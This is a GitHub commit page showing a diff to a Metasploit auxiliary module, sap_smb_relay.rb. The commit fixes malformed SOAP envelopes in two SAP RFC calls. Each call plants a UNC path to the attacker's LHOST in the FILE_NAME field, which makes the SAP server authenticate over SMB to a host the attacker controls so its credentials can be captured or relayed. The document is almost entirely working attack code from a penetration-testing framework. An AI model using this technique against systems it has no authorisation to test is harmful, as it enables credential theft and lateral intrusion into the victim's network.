Skip to content

Commit

Permalink
modifications to CLBA_ SOAP requests to fix XML kernel processor error
Browse files Browse the repository at this point in the history
  • Loading branch information
nmonkee committed May 16, 2013
1 parent 83f73c0 commit 1128663
Showing 1 changed file with 9 additions and 9 deletions.
18 changes: 9 additions & 9 deletions modules/auxiliary/scanner/sap/sap_smb_relay.rb
Original file line number Diff line number Diff line change
Expand Up @@ -195,19 +195,19 @@ def run_clba_classif_file_remote
smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"

data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<SOAP-ENV:Header/>'
data << '<SOAP-ENV:Body>'
data << '<n1:CLBA_CLASSIF_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<CLBA_CLASSIF_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
data << '<CLASSIF_FILE>'
data << '<item>'
data << '<ZEILE>a</ZEILE>'
data << '</item>'
data << '</CLASSIF_FILE>'
data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
data << '</n1:CLBA_CLASSIF_FILE_REMOTE_HOST>'
data << '</CLBA_CLASSIF_FILE_REMOTE_HOST>'
data << '</SOAP-ENV:Body>'
data << '</SOAP-ENV:Envelope>'
send_soap_rfc_request(data, smb_uri)
Expand All @@ -217,23 +217,23 @@ def run_clba_update_file_remote
smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"

data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<SOAP-ENV:Header/>'
data << '<SOAP-ENV:Body>'
data << '<n1:CLBA_UPDATE_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<CLBA_UPDATE_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
data << '<DATA_TAB>'
data << '<item>'
data << '<TABNAME>a</TABNAME>'
data << '<NUMBER>0</NUMBER>'
data << '<NUMMER>0</NUMMER>'
data << '<TEXT>a</TEXT>'
data << '<COLOR>a</COLOR>'
data << '<DATA>a</DATA>'
data << '</item>'
data << '</DATA_TAB>'
data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
data << '</n1:CLBA_UPDATE_FILE_REMOTE_HOST>'
data << '</CLBA_UPDATE_FILE_REMOTE_HOST>'
data << '</SOAP-ENV:Body>'
data << '</SOAP-ENV:Envelope>'
send_soap_rfc_request(data, smb_uri)
Expand Down

0 comments on commit 1128663

Please sign in to comment.